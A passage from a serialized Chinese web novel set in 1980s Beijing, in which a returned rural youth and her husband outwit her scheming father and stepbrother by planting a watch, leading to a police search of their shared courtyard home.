现实总会教他做人,到了大队没两天,当时‘思想高尚’比温苒大了三岁的少年林朝阳就哭出来两个肿核桃眼。 十四岁的温苒都没哭…… 比预计的下班时间还要提前半个小时,林朝阳到了饭店。 菜都还一个没上呢,温苒抓起霍骁北手腕看了眼时间,“这么早?” 林朝阳摘下帽子,脱掉大衣,一屁股坐到对面,拎起壶给自己倒茶,“反正也没我的事。” 唔,这抱怨的语气一听就有故事。 温苒接话,“怎么可能?” 林朝阳叹气,“说来话长。” 难得碰到可以畅所欲言的对象,林朝阳对着温苒和霍骁北开始大吐苦水:“我考上大专回城,本来还沾沾自喜觉得挺不错了,现在进厂实习才明白压根不算个什么。” “我想进研发车间,打听了一圈发现,能进去的要么是有过几年的研发经验,要么是长华长京理工科大的大学生,我一个大专生根本不够看。” 温苒听明白了,林朝阳这是被比他更优秀的人打击到了。 大专生现在还真不至于到不够看的地步,但问题这里是长京市,长京市大学扎堆,大学生自然更是一抓一大把,相比之下大专生就不那么显眼了。 林朝阳又叹气,“还有我实习的那个领导,我想去研发车间学习,打杂也行,只要能学到东西吃点苦又算什么?结果他各种阻挠不说,还带人孤立我,我就没见过这么见不得别人好的!” 心理打击加职场打压,林朝阳俨然正在从意气风发向心灰意冷一蹶不振发展。 温苒给他出主意,“不行你再考一次,就考那几所大学?” 林朝阳:“?!” 林朝阳一脸惊恐,“我疯了?我不行!我不考!我觉得我现在这样挺好的,那什么大学我也不是很稀罕!” 考上考不上都是其次,关键是考试这回事,简直太折磨人了! 他果断认输,“我可能也不是搞研究的那块料,我还是老老实实蹲我的办公室,往管理岗位发展吧。” 那行吧,他自己劝好了自己,温苒不再多说,催促:“东西呢?” 林朝阳从兜里掏出个铁盒子,“里面袋子上标了型号,除了我之前说的我们厂生产的三种,还有沪导厂的两种数字集成电路,以及我们厂最新研发的RPO电路。钱就别给了,到时候你也帮我组一台这样的收音机就行。” 温苒也不和他客气,看一眼都收了起来。 ** 六片胡同大杂院里。 曲平安躲屋里捧着本小说看得津津有味。 今早他装作上班出门,又假装没拿东西回来,其实压根就躲这屋没再出去。 也不知道温志伟那小子有没有被糊弄住。 曲平安余光观察着窗帘缝隙外堂屋里的情况。 先前他注意到温志伟频频偷看南屋屋门,所以今早北哥和小苒就没锁门,特意给温志伟留这个机会。 机不可失时不再来,曲平安是真希望温志伟能抓住这次机会。 小苒说,温志伟想进她们屋,八成是要放点东西陷害她,现金或者贵重物品都有可能。 当然,也有可能是温志伟想偷东西,所以温苒提前杜绝了这种可能。 除了被褥衣服,旁的东西一样也没留 ,连暖水壶和水杯都挪到厨房这边来了,而厨房的门是锁死的。 翻了两页,曲平安忽然瞥到一个人影,来了! 他浑身一震,放下书猫低身子,神情严肃瞪大眼睛盯着那人。 人影不是别人,就是温志伟。 这毛小子鬼鬼祟祟地来到南屋门前,试探地拧了拧门把,结果咔一声,门竟然开了?! 温志伟心下狂喜,一溜烟儿蹿进了屋。 隔壁偷看的曲平安:“……” 咱就一点犹豫都没有吗? 千载难逢的机会,成败就在此一举,温志伟等了快半个月才等到,他怎么可能会犹豫? 多犹豫一秒都是对即将到手的大房子的不尊重! 结果没多会儿,曲平安就见温志伟骂骂咧咧出来,“一帮穷鬼!” 曲平安忍了忍,心说到底谁才是穷鬼?你现在住谁家房子你不知道啊? 他小苒妹子组一台收音机能赚十块!一个月抽空组上七八台都够上你爹一个六级钳工了!你一个吃白饭的你嫌谁穷呢? 曲平安心里庆幸,还好小苒料事如神,看温志伟这样子,八成是真打算顺点什么。 温志伟寻思,这俩总不能一点家底也没有,不然怎么舍得隔三差五就弄顿肉吃? 而且这几天他跟他爸打听过,温有良曾经是八级钳工,各地大建厂的时候常有单位请温有良去指导,出差费那可不老少。 这笔钱反正是没落到他爸手里,就只可能是他爸那个死了的前妻藏起来了,或者是交给了什么人。 就温苒这种死命往怀里扒拉东西生怕漏了一星半点的穷酸样,温志伟可以断定,那钱现在绝对是到了她手里! 正愁追何超梅缺钱呢,或许,温志伟眼神闪了闪,他可以空手套白狼?【你现在阅读的是 】 20-30 第21章 第21章八零回城知青21 今天签到奖励很大方:一包梅菜干,一斤炸黄花鱼。 以及周签到和月签到满的两样奖励:一台风扇和一台烘干机。 照例黄花鱼三家分一分,梅干菜改天蒸肉吃。 风扇和烘干机就先不拿出来了,下半年到了鹏城可有大用处呢。 今天的奖励倒是给了温苒启发,厂里第一款产品卖收音机,那第二款不如就卖风扇吧?第三款就卖烘干机! 南方夏季湿热,这两样产品绝对不愁市场。 三样产品都是小家电,那个还看不到影子的工厂俨然在朝着家用电器的方向发展。 既然如此,干脆冰箱洗衣机空调都加入计划,这个厂子也差不多就是家电厂了。 两人边走边说,拐进了胡同区,高高低低的叫卖声不绝于耳。 改革开放后,政策允许个体户经营,长京市本就有随处可见的路边小摊儿,这之后更是如雨后春笋一般冒出来。 虽然个体户被人瞧不起,但耐不住收入可观。 这一路走回家,温苒就买了许多样小吃。 她尝了尝味道,剩下的都让霍骁北和曲平安分了。 曲平安两口一块油炸糕,他中午没吃这会儿是真饿。 “温志伟进了你们房间,应该是放了什么东西,然后他就出门了,到现在都没回来。” 本来还只是猜测,现在温苒是完全确定了。 她拽着霍骁北回屋,“走!去找找他放了什么。” 不管放了什么,既然进了她的口袋就别想拿出去。 必须给温志伟来个死无对证! 结果三个人把南屋翻了个底朝天,只找到了零零碎碎加起来的三十七块八毛外加几张票据。 温苒:“……” 曲平安直接口吐芬芳:“MD穷光蛋!” 霍骁北甚至点了点头,无声地表达了他的赞同,这是看不起谁呢? 温苒把钱票往兜里一揣,并顺手转移进系统背包,抬头说道:“咱们去鹏城前,就用这笔钱请大院邻居们吃顿饭!” 主动送来的,不要白不要! 霍骁北自然什么都听媳妇儿的。 曲平安也没意见,他甚至已经开始考虑到时候请谁不请谁,“我觉得别请后院何大爷家,他跟温师傅一看就是一伙的,上回一点忙没帮还跟那儿瞎搅和,他就不是个正经人!” 对此,温苒和霍骁北当然更没意见。 何德民可不止一次得罪过俩人,房子的事,还有每次见了温苒那让人恶心的眼神,霍骁北一件件都记在心里,早就预备离开前给他大的。 很好,赃款全部收缴,销赃的路子也有了。 但事情到这里才刚刚开始而已。 回到隔壁屋,温苒从行李里翻出一块手表。 对视一眼,霍骁北立时就明白了她的意思,转头把北屋的门锁撬了,把手表放了进去。 曲平安搁大门口望风,一边注意着院里动静,一边用余光看他北哥,他哥撬锁的动作真熟练啊,部队也教这个吗? 从撬锁到出来,这一切仅仅发生在两分钟内。 三个人转移到厨房,静静等待着待会儿的好戏开场。 ** 温志伟在外面溜达一圈,瞅着工厂下班的时间回了胡同。 想到马上要发生的事情他就一阵激动。 他都计划好了,趁这次机会把房子弄过来,还有温苒手上大笔的钱。 房子温志伟打算卖了,胡同里这些人对他们家意见大得很,绝对不能继续住在这里。卖了这里的房子,在别地儿重新买一处。 那笔钱他也有用处,一部分拿来置办结婚用的大件,一部分给何超梅做彩礼。 结婚以后何超梅就留在他爸妈跟前尽孝,他去跟着岳父办事,进商业局…… 畅想着美好的未来,温志伟进了大院门,没有停顿地进了中院门,快走进了西厢门,几乎是冲进了北屋的门。 厨房。 温苒和曲平安搁窗户边上探头探脑,一秒、两秒、三秒还不到,北屋敞开的门后,温志伟表情狰狞地冲了出来。 曲平安疑惑道:“他这会儿应该是慌张和生气才对,这怎么嘴角都快咧后脑勺去了?” 温苒扬起唇角,“我得赶紧笑够了,不然我怕待会儿跟他一个表情。” 温志伟因为马上可以把她赶走独占房子高兴,她也因为马上可以把温志伟赶走独占房子高兴啊! 嗖嗖的,温志伟冲去后院,喊来了刚下班的何德民,并且在回到中院时恰好碰到也下班回家的温宝昌。 很快,一大爷何德民就发话,召集大院里所有住户,开会! 而最先被通知的,自然是温苒和霍骁北。 无人注意到,曲平安此时悄悄离开,出了胡同撒丫子往派出所奔。 本次大院会议,地点在中院的大院子,与会人员是大院所有住户包括刚下了学的孩子,会议主题则是:温志伟准备给对象买手表和相机的钱今天丢了,怀疑是院儿里的人干的。 整个大院前院一户,就是曲平安家,中院两户,后院别看地方小人却是最多的,足足有四户! 几十来人听见钱丢了,先是一惊,紧接着又听怀疑是他们干的,立时就怒火三丈。 啥意思啊?他们搁厂里上一天班累得要命,回家饭都没顾上吃一口就被喊过来,还要怀疑他们偷钱? 有人口气很冲,“丢了不赶紧去找把我们都喊过来做什么?喊我们给你找啊?” 何德民脸一拉,“能找着还叫你们做什么?肯定是到处都找过了没找着,才怀疑是别人偷的,话都听不清还搁那逼逼赖赖,一天天尽显着你了!” 何德民在院里本来就没啥威信,上回宋爱民一家的事后更是让派出所所长和街道办主任训成了孙子,院里人就更不服他来当一大爷了。 这次又赶上温家的事,他一听就觉着是个树威信的好机会。 奈何其他人不买账,刚才说话的人压根不鸟他,语气十分不耐烦:“我们一家上班的上班上学的 上学,压根就没来过前头,钱是丢的还是偷的都跟我们没关系,还有事没?没事我们先走了!” 说完不等人回应,他带着老娘媳妇儿和孩子转身就走了。 何德民那个脸色难看的呀,铁青泛着黑,跟猪肝儿差不多了。 偏偏那人之后,后院剩下另外两户用同样的理由离席,抱怨的话压低了声音还是能让院里的人听到: “一天天屁事真多!” “就会拿鸡毛当令箭,有事不见人,没事见天找事,呸!” 这话精准戳到了某些人的肺管子,温宝昌和温志伟父子憋得脸色涨红。 何德民更是,好像下一秒就能憋厥过去一样,气得浑身发颤,“你们!你们给我等着!” 一共七户人家,刚开始就走了一半。 剩下的四户,除了他何家是因为何德民不得不留下,其他三户曲胜利家何德民得罪不起,潘奶奶家向来都跟曲家站一边,而温苒虽然才刚回城,但早就让他何德民得罪死了。 什么机会什么威信,何德民一看这情况就知道没戏了。 但台子搭了起来,就算没戏他也得硬唱下去,不然往后他这个一大爷说的话就真成放响屁了。 何德民环视一圈在场人,沉声转入主题:“志伟处了对象,打算给他对象买手表和相机,没成他出去一趟钱就没了。” 他看了眼温志伟,温志伟接着话说:“对,我出门前把钱票都收起来锁柜子里了,回来就见柜子开着,钱票都没了!肯定是被人偷走的!” 温苒:“……” 她想到了揣进兜里的三十七块八…… 她很想请问,什么样的手表和相机三十七块八就能买到?是温志伟疯了还是她们仨把南屋翻个底朝天还有东西漏了没发现? 温志伟不着痕迹瞥了一眼温苒,看向对门潘奶奶,“午前我出门的时候钱还在,一个下午不在钱就没了,不知道老太太看没看到外人进出?” 潘老太清清嗓子,摇头,温志伟面上一喜,却听她说道:“我是一直在家待着,但我都在屋里,外头来没来人我不清楚。再说既然是做贼来着,肯定是悄默声儿的,我年纪大了耳背,一星半点儿的动静我听不见。” 温志伟脸上的喜色消失,皱着眉语气不大好,“您真没听见?” 潘老太诧异,“哟你小子这话说的,你这是不信老婆子啊?” 温宝昌开口给儿子说话,“不是,潘大娘您别多想,他孩子嘛丢了那么多钱着急,您别跟他一般见识。” 潘老太翻白眼,却不再说话了。 当她老婆子傻啊,这父子俩一唱一和的,保准又是冲小苒去的! 温志伟又看向前院赵老太,不等他出声问呢,赵老太就摆手:“我老婆子也帮不上什么忙,我也搁屋里待着呢,没瞧见外头来没来人,我看你还是去胡同里问问吧,保不齐就有人看见了。” 温志伟皱紧了眉,他看明白了,对门和前院是向着温苒那边儿的。 本来想借着别人的口把嫌疑引向温苒的,可现在这情况,都没一个人配合。 温志伟看了看他爸,示意他来。 温宝昌犹犹豫豫的,其实不太想开口。 温苒那妮子回回能把他气死,人前人后都没给过他好脸,是一点没把他爹,他是真怕在这么多人面前下不来台。 可他不问,难道要让儿子来? 想起继子宋爱民的下场,温宝昌觉得那还是他来吧,至少他占着身份呢温苒不能拿他怎么样。 飞快瞥了沉默旁观的温苒,温宝昌沉声点名:“小苒,你和你男人在家,你看没看见咱家进了外人?” 这话好笑,她怎么回都是个错。 温苒笑了笑,就是不如这两人所愿,非要反着来:“有啊!” 第22章 第22章八零回城知青22 父子两个拧眉,真的假的? 温志伟看了眼温宝昌,追问:“那你看清是谁来了?为什么来咱家?你们见了外人就不知道拦一下?” 温苒:“……” 就很无语,到底怎么个事你俩心里不清楚啊你还怪上我了? 她故作诧异,“你不知道?” “你在我家住了这么长时间,你不知道自己是个外人?” 这话一出,好悬没给父子俩鼻子气歪了。 温志伟没忍住,拔高声音:“温苒!” 温宝昌紧跟着:“你弟弟丢了钱正着急呢,你看见就看见了没看见就没看见,你耍人好玩儿是吧?” 温苒笑眯眯的,一点也不气,但她说出来的话却总是能把人气死。 “我看你们父子两个才是耍人好玩,通机厂马上要分房认购,没有大几千下不来,温宝昌同志还有闲钱给儿子买手表和相机。” 她看着众人,迅速算了一笔账:“一台相机最便宜的型号也要七八百吧?手表便宜点也要一百多块呢!温宝昌同志你工资也不高,听胡同里邻居说这些年也没见你们省吃俭用,竟然还有这么多钱呐?” 温宝昌心里一咯噔,生怕他偷摸兼职的事情被捅出来,连忙反驳:“你胡说什么?谁跟你说那是我给的,那是志伟和人借的,不然钱丢了他能这么着急?” 他说着,一边赶紧给温志伟使眼色。 温志伟马上附和,“对!我是和同学借的!” 他阴阳怪气:“我们可不比你们有钱,顿顿吃得上大鱼大肉,还买了收音机,原来乡下这么有钱?原来部队工资这么高?” 温苒十分努力,才抑制住了翻白眼的冲动,“闫春枝同志生你的时候把你脑子连着胎盘一起扔了?乡下有钱?部队有钱?吃个肉就叫有钱,那你都能花一千多来块买相机买手表算什么?” 温志伟涨红了脸,攥拳瞪着她,“你!你才把脑子扔了!你说这么多有的没的浪费时间,我看我那些钱就是你拿的!” 温宝昌配合儿子,眼神怀疑地打量着温苒,但话里意思却已经给定了性:“咱院里到底来没来外人往胡同里一问就清楚了,你拿了就赶紧交出来,给志伟道个歉这事就算过去了,不然我绝对要报警!反正我这个当爹的话你是一点不听,正好,让警察好好教育教育你!” 霍骁北瞥了父子俩一眼,轻飘飘的,却让对上视线的两人后背一凉。 霍骁北开口:“那就报警!正好,我和温苒结婚时我送她的手表也丢了,报警让警察一起来找。” 一直旁观的曲胜利终于说话了,“什么时候丢的?有没有标记?屋里屋外的都找过了吗?” 霍骁北点了点头,“最近几天才发现丢了,屋里屋外都找过,没找到,是桃花牌的手表,手表后盖夹了一张我手写的纸条。” 温宝昌皱起眉,有种不大好的预感,就和上次算计霍骁北的时候一样。 但他紧接着就安慰自己,只是巧合罢了,南屋有志伟藏的‘买手表和相机的钱’,北屋可没有什么桃花牌手表。 想法冒出来的瞬间,他听到温苒嗓音清脆地喊道:“来了!” 什么来了?温宝昌和在场众人齐齐扭头,顺着温苒的目光看向了院门。 是老熟人! 是曲平安领来了派出所所长和上次的小警察! 不堪回首的经历涌上心头,温宝昌和何德民下意识缩了缩脖子。 人群让开一条路,派出所所长拉着脸,背着手,在中间站定。 “刚接到报案,温苒同志丢失一块手表,我过来看看情况。” 现在看这情况,好像不简单啊! 所长看了眼何德民,又看了眼温宝昌,心里犯嘀咕,肯定是这两个老小子又不老实了。 温宝昌和何德民抄着手低着头,努力降低存在感。 曲胜利心想,一点不怪别人不服气何德民,这老小子遇事只知道躲,还得是他来。 曲胜利简单把情况说了下,“所长正好你来,我们这儿还有个丢钱的,怀疑是咱院里人偷的,也打算报警。” 所长点了点头,“是温宝 昌同志丢了钱?” 你瞅瞅,才来一次就知道谁才是蔫坏儿搞事儿的事儿头子的。 温宝昌忙回道:“不是我,是我儿子,我儿子打算给他对象买手表和相机,钱是借他同学的,今天午前还在,出了趟门再回来钱就不见了。” 温志伟补充:“我出门前把钱票锁在柜子里了,回来一看柜子门开着,钱也没了。” 所长问:“那门呢?你屋门锁着没有?” 温志伟顿了下,目光飘了飘,道:“我出去的时候锁了,回来的时候……没注意,可能是锁了。” 温志伟有点心眼,知道没把话说死。 锁了门,但钱丢了。 所长听完情况,带小年轻去实地查看北屋的情况。 “门锁没有被撬的痕迹,假如这个小偷是从正门进的,那一定是个老手。” 所长说出了自己的判断。 撬了锁从正门进的霍骁北镇定自若,仿佛不是在说他。 再看窗户,所长屋前屋后转了一圈,说道:“没有新脚印和其他痕迹,看来不是从窗户进的。” 温志伟余光看着温苒和霍骁北,说道:“会不会对方有钥匙?” 所长随口回道:“有可能。” 所长看向老同事,“胜利,麻烦你找人问问,咱胡同今天来没来外人?” 胡同里处处是眼线,出现生面孔不可能没人知道。 曲胜利带上小年轻出去,问一圈回来摇头,“没有。” 他望向温苒的眼神带上了担忧。 温志伟激动地攥起拳头,看了他爸一眼。 没有外人,那就是院里人,其他人该上班上班该上学上学,只有温苒和霍骁北有时间有嫌疑! 温宝昌完全将刚才不妙的预感抛在了脑后,心中涌上期待,还是儿子聪明,按儿子的办法,不仅可能拿回房子,还可能从温苒手上掏出一笔钱! 所长的推测和温志伟想的一般无二。 首先,没有外人进胡同,小偷人选就锁定在了这条胡同里。 其次,对方是撬门进去的,撬锁的本事很有一手。 再一个,所长问温志伟:“你手里有钱这件事,都跟谁说过?” 温志伟懵了下,脑筋飞转,快速编了个说法:“就在屋里,和我爸说过,但……但是,那会儿没留心,万一有人偷听我也不清楚。” 温志伟其实更想直接说,钱就是温苒‘偷’的!而且南屋就有‘证据’! 但他不能说,他只能飞快往温苒的位置瞟一眼暗示。 温苒:“……” 先让让他,待会儿有他哭都找不着地儿的时候。 温宝昌动了动嘴唇,期期艾艾地问:“所长,您看,您觉得可能是谁偷的钱?这钱又能去哪儿呢?” 都到这个程度了,所长心说你这不明知故问么,没有外人也不是院里其他人,合着就是内贼呗? 所长咂摸了下,瞅这父子俩丢老多钱也不是很着急的样子,八成今天的事有猫腻,就跟上回似的,这老小子搞那一出就是冲他女婿去的,这回么,呵,还是冲他姑娘去的。 温家这档子事所长还是比较清楚的,基层工作么,就管这一片儿,谁家的情况都得弄明白了才好搞工作。 所长想了想,回温宝昌:“情况有点复杂,你家这边丢钱,那边也丢了东西。” 他抬起下巴朝温苒的方向,“你姑娘丢了块手表,可能是一个小偷干的。” 有没有小偷温宝昌和温志伟还不清楚吗? 但这是个机会,温志伟马上开口:“手表也不一定是丢了,可能是落在什么犄角旮旯里了,要不所长带咱们帮忙进屋找找?” 只要进了屋,他放的东西就会被翻出来,温苒就等着吃官司吧! 所长看向温苒,温苒装模作样地犹豫片刻,才回道:“温志伟同志说的有道理,我不介意大家进屋帮我找手表。” 听见这话,温志伟心跳得飞起,成了! 但紧接着,温苒话头一转:“那这样说来,温志伟同志的钱也不一定是被偷了,还可能是掉在角落里没发现,想来你也不介意大家进屋帮你找东西吧?” 戏谑的目光扫过来,温志伟表情僵在脸上,“不用了,我记得很清楚,我的钱是锁在了柜子里,不是落在什么地方了。” 霍骁北不放过他,语调沉稳:“你可能是记错了,你都不记得回来的时候门有没有锁,钱到底放在哪里记错也很正常。” 曲平安附和:“对对对!” 曲胜利也道:“人多力量大,大家一起找,这么多双眼睛呢,肯定能找着!” 所长:“……” 曲老弟你还副所呢……现场那是能让这么多人一起进的吗?那不破坏的不成样子了? 潘老太也开始睁眼说瞎话,“我看啊把各屋都翻一翻吧,这一家人天天进这屋进那屋的,东西落哪儿了真说不好。” 呵呵,别人不清楚她就住对门还不清楚吗?南北屋那叫一个泾渭分明,别说串门了,话都不说。 但既然小苒想搜北屋,她不帮一把说不过去。 所长垂眼,行叭!做基层工作的,还是得尊重老百姓的想法,院里人都说搜,那就搜! 大家都同意,温宝昌和温志伟也不好强硬地说不行,最主要说了也不算。 大院管理就是如此,少数服从多数。 不过温志伟盘算着,得要先搜南屋才行,搜出来东西就不用搜北屋了。 反正北屋是肯定没有什么桃花牌手表的。 第23章 第23章八零回城知青23 温志伟信心满满,温志伟底气十足,温志伟抢先开口:“先搜……” “先找北屋吧!” 清脆嗓音打断并插入进来,“手表一百来块当然比不上一千块钱,是吧?” 潘老太和赵老太点头,“那可不!先找北屋吧,咱都进去帮忙!” 所长和曲胜利对视一眼,转身朝屋里去,“走吧!一起找!” 温志伟跟着进了屋,站在北屋门口脸色不大好看,虽然知道不会搜出来什么,但总感觉低了对方一头。 屋里,不是所有人都进来了,本来地方就不算特别大,人一多就显得乱糟糟的。 只有所长、曲胜利、曲胜利媳妇儿、潘老太和那个小警察,何德民这个一大爷倒是躲外头去了。 北屋沿窗一张炕,炕上靠北面墙摆着一排柜子,靠南面墙是一摞被褥。 紧挨着炕入门的位置一个衣架,上头挂了几件衣服。 地上东西拉拉杂杂的,一张四方桌并几条凳子、炉子、木架子、架子上摆着鞋子脸盆、角落里一垛蜂窝煤…… 屋里几个人低头仔细翻找着,外面人盯着就当监督了。 温宝昌站在儿子身边,先前那种不妙的预感再次涌上来,他下意识扭头去找温苒的身影想看看她的反应,这时一道惊呼响起,“这是——” 众人齐齐将目光移过去,只见年轻小片儿警手里拿着一块手表,表情都空白了。 何家一个儿媳震惊地瞪大了眼睛,脱口而出:“不会是桃花牌的吧?” 她甚至下意识往温苒的方向扭了过去。 温苒装作不知情的样子惊讶,“应该不可能吧?桃花牌手表是秦北省的牌子,咱们长京市可没有卖的。” 何德民狠狠剜了一眼儿媳,就你有嘴是吧。 他还想让温宝昌帮忙把正院房子弄到手呢,肯定不能把人得罪了,于是赶忙开口:“肯定不是桃花牌的!宝昌老弟怎么说也是六级工,他家的手表牌子都是咱们长京市产的红星牌!” 温宝昌没有回应这话,他的目光穿过重重阻碍,死死盯着年轻小警察拿着的手表,那种不妙的预感几乎要冲出身体来了。 温志伟没有注意到他爸不同寻常的反应,他嗤笑一声,撸起袖子露出手腕,“我家只用红星牌的手表,从来没有什么桃花牌!” 什么桃花牌,一块有一百块钱没有? 温苒抿了抿嘴角,这可是你自己说的。 屋里几个人都凑到了年轻小警察身边,所长拿过那块手表 看了看,神色古怪,然后交给了曲胜利。 曲胜利接过来一看,表情震惊又夹杂着不敢置信。 曲平安靠着门框,脖子伸得老长催促:“这手表有啥问题啊?” 他娘横他一眼,“咱几个正确认呢,你催催催催命呢!” 几个人传来传去,都确认之后,所长抬头,视线在门外那群人身上转了一圈,才沉声开口:“是桃花牌手表。” 那种不妙的预感成真,温宝昌脑子嗡一声炸开。 父子俩个齐齐失声大喊:“不可能!” 两人脸色难看,争先恐后冲上前夺过手表,温宝昌翻过来一看,手表背壳上有一朵桃花图案,图案下‘桃花’两个字清清楚楚显示了手表的牌子。 温志伟不敢置信,“怎么可能?” 温宝昌眼珠顿顿地动了动,找到人群中那个身影,表情阴沉发狠,“是你!是你把手表放进来的!” 温志伟听见这话,顺着他爸的视线看过去,一瞬间全部都明白了,“是你!你想把我们赶走!贱人!” 话音未落,旁边一耳刮子呼过来,曲平安他娘骂道:“小兔崽子嘴巴给老娘放干净点!” 曲平安呱呱给他娘鼓掌。 温苒和霍骁北这时候终于挤到前面来,温苒笑着道谢:“谢谢大娘!” 曲平安他娘摆手,“不算啥!” 温志伟捂着一边脸,耳朵嗡嗡的,他死死咬着牙关,尝到了满嘴血腥,才不至于将滔天的愤怒当场发泄出来。 温宝昌关切地抱着儿子,对曲平安他娘怒目而视:“泼妇!曲胜利你不管你媳妇儿我帮你管!我儿子是未来的大学生,打坏了你们赔得起吗?” 说着他抬脚就踹过去,霍骁北比他更快,一脚踢他膝窝上。 砰砰两声,父子两个温宝昌压着温志伟跪在地上。 曲平安反应慢了一步,见状松了口气的同时,加快过来挡在他娘前头,感激地看了他北哥一眼。 温宝昌涨红了脸,神色狼狈,“你们!你们欺人太甚!” “所长!所长你要为我们父子做主啊!我儿子做错了什么就凭白挨旁人一顿打这还有没有天理?仗着自己男人是派出所副所长,看谁不顺眼就打谁,这是恶霸!” 温苒嘴角抽了抽。 温宝昌说大娘是泼妇,她看温宝昌是泼男,你瞅这一套套的道德绑架使得多溜? 不等有人接温宝昌的茬儿,温苒捡起手表交给派出所所长,拉回话题:“麻烦所长检查一下,手表后盖打开以后有没有一张纸条,那是我爱人写的。” 所长是真烦了温宝昌父子,你儿子自己干了什么你不知道啊?你嫌别人手快你让自己儿子嘴别那么脏啊!还攀扯上他们派出所了? 他没搭理温宝昌,转头和几人打开手表后盖,果然发现了一张纸条。 所长念出了纸条上的内容:“霍骁北送温苒,于11月23。” 以防万一,他还让霍骁北当场重新写了一遍,字迹与纸条上的一般无二。 可以确定了,北屋翻出来的这块桃花牌手表,就是温苒丢失的那块! 客厅里,听到信儿捧着饭碗过来看热闹的胡同邻居们两眼放光,妈耶,温宝昌偷他姑娘的手表?! 缩在角落里的何德民忽然打了个摆子,暗道一声失策,转身溜了。 北屋里父子两个叫嚣着自己是冤枉的,还指着温苒大吼:“是她把手表放进这屋的!她就是故意想赶我们走!” 门外看热闹的街坊们听见这话,哄笑一片。 “哎呀妈呀,这房子本来就是人小苒的,想赶你们走直接就赶了,还用得着这么破费啊?” “我听说本来进你们屋是为了找钱,手表是不小心翻出来的,这你们都能抵赖?那被抓进去的小偷不冤死了?” “往后谁要偷了东西被抓现行都不管用了,都得跟你们一样学着死不承认,还说是人家主人故意的,故意啥啊?故意给你们送东西?可真好意思哈?!” 温宝昌和温志伟被说得哑口无言,脸色青青白白的来回变换。 可天地良心!他们是冤枉的啊!谁知道那手表是怎么进了他们屋的? 温志伟记得清清楚楚,他一直防着对门,每次都把门锁死了才会出门的! 才不管这父子俩如何费解,温苒开始了表演。 她脸色苍白,神情受伤,不敢置信,身体晃了晃倒在霍骁北怀里,“都是我的错!” 霍骁北环住媳妇儿的肩膀,稳稳当当地让她靠在自己身上,低头温声安慰:“不是你的错。” 听见这话,温苒把头埋在他胸膛里,肩膀抖了抖,疑似崩溃啜泣。 曲平安看得目瞪口呆,不会吧?小苒真哭了?应该不能吧? 温苒再抬头,露出一双通红的杏眼,“所长,曲伯伯,手表的事跟我爸没关系,是在温志伟过来之后才发生的,我怀疑……” 温志伟不敢置信,“你放——” 霍骁北一脚踢过去,把他未出口的话踢走了,温志伟摔在地上,大脑一片空白,疼得直冒冷汗。 温宝昌扑过去,急切关心:“志伟!儿子你没事儿吧?” 接下来的话不适合温苒来说,霍骁北神色冷峻散发着寒意,肃声道:“手表当初是花九十八块钱买的,这个金额应该足以立案,所长,劳烦您了。” 劳烦?劳烦什么?当然是把温志伟抓起来啊! 偷盗可是大罪,这个数额还不低,高低得判几年呢! 这年头有了案底,那这辈子就彻底完蛋! 温宝昌一下子就崩溃了,低吼着朝霍骁北扑过去。 霍骁北带着媳妇儿一个转身闪开,温宝昌扑空,撞进了蜂窝煤堆里。 霍骁北看了眼曲平安,又看了眼温志伟。 曲平安瞬间会意,拉着小警察和他爸上前,三人薅起温志伟就往出跑。 温志伟倒是想反抗,但他是真疼,疼得一点都使不上力。 他回头求助:“爸!爸救我!不是我拿的我没偷她们的手表!” 温宝昌都撞懵了,眼冒金星,还愣在煤堆儿里呢。 所长一看这情况连忙跟上,生怕跑慢了就会被温宝昌缠上似的。 围观街坊们层层往外散,让出了一条路。 霍骁北带着温苒跟在后面一起出去,人群乌央乌央地随着一起挪动。 等温宝昌回过神来,房子都空了。 他急吼吼跑出去拦,“你们放下志伟!不是志伟干的!志伟有手表干啥要偷别人的?再说还有南屋没搜呢说不定偷钱的就是他们呢!” 哦对了,还有这事呢。 所长看看已经在手人赃并获的温志伟,再想想后头的大麻烦温宝昌,这要是折返回去,温志伟就不容易再带出来了,于是他果断让人去请徐主任。 至于他么,先把人带回所里看管起来。 温志伟听见他爸的声音,激动得眼泪都出来了,挣扎着往后扭,“爸!爸你救我!我不想进去!” 所长催促,“赶紧的,咱们快点,回头赶过来还能帮徐主任的忙。” 街道办徐主任正搁家吃饭呢,没吃两口就被拽过来。 一问,好嘛,这还搜上屋了? 再一看,更好嘛,这还是老熟人,咋又是你温宝昌同志?一天天屁事可真多! 派出所所长带人搜北屋,人赃并获。 街道办徐主任点了胡同里几个街坊搜南屋,啥也没搜出来。 温宝昌不相信,他冲进去一顿乱翻,桌椅都推倒了,被褥扯开棉花都翻出来了,结果还是啥也没有。 他神色癫狂,一把一把往外掏棉花,扯着嗓子大吼:“不可能!不可能没有!怎么可能没有呢?!” 第24章 第24章八零回城知青24 再不敢相信,温宝昌把被褥里的棉花掏空了,也没见着温志伟跟他说的有记号的钱和票。 温宝昌呼哧呼哧喘着粗气,“我不信!这屋没有,一定是他们藏到别的屋去了!还有两个房间没搜呢!” 街坊们都沉默了,暗道这老小子怕是疯魔了,心肝咋就那么毒呢,有良大爷真是看走眼了,小苒也 忒是可怜。 温苒躲在霍骁北怀里,不时抖几下肩膀,表现她的柔弱可怜无助。 在邻居们眼里,她就是一个被生父无情伤害的可怜姑娘。 就是早就知道今儿这一遭真相的曲平安都被迷惑住了,现下那叫一个心疼他小苒妹子。 温宝昌坚持要搜,而且眼看他这精神状态有些不正常,不让他搜真不保证能干出什么糟心事来。 徐主任只好带人搜了中间俩屋子,结果当然啥都没有。 温宝昌又要求搜堂屋,堂屋能有啥?还是啥也没有! 温宝昌又又又要求,他要求搜他们北屋。 众人:“……” 温宝昌赤红着眼睛,脖子上青筋暴起,满脸通红冒着汗,就跟真要疯了似的。 大家也不敢拒绝,只能接着搜,最后也是什么都没有。 然后温宝昌就疯了,徐主任带人前头翻一遍,他后头跟着砸一遍,把好好一个家弄得满地狼藉,连下脚的地儿都没有。 徐主任饭都没吃几口早就累得前胸贴后背了,懒得陪他胡闹,转身就要走。 温苒包了小鱼干送给徐主任和今天帮忙的街坊,“今天的事麻烦徐姨了,您收下这个,我替我爸向您赔罪。” 徐主任接过纸包,叹气,“没事,你是个好孩子,你爸这人……唉,咱们都看在眼里,你们两口子也是遭罪,赶紧让他搬出去吧,不会有人说什么的。” 街坊们纷纷附和。 “小苒你可别心软啊,他这样瞧着可没把当你闺女,当你是仇人呢!” “虎毒还不食子呢,温宝昌真是……以后有他后悔的时候!” “善有善报恶有恶报,不是不报时候未到!我看啊,马上他这报应就到了!” 曲平安去送街坊们,温苒和霍骁北转身进屋。 没了外人,温苒也就不用演了。 她嗓音清冷,高声道:“谈谈?” 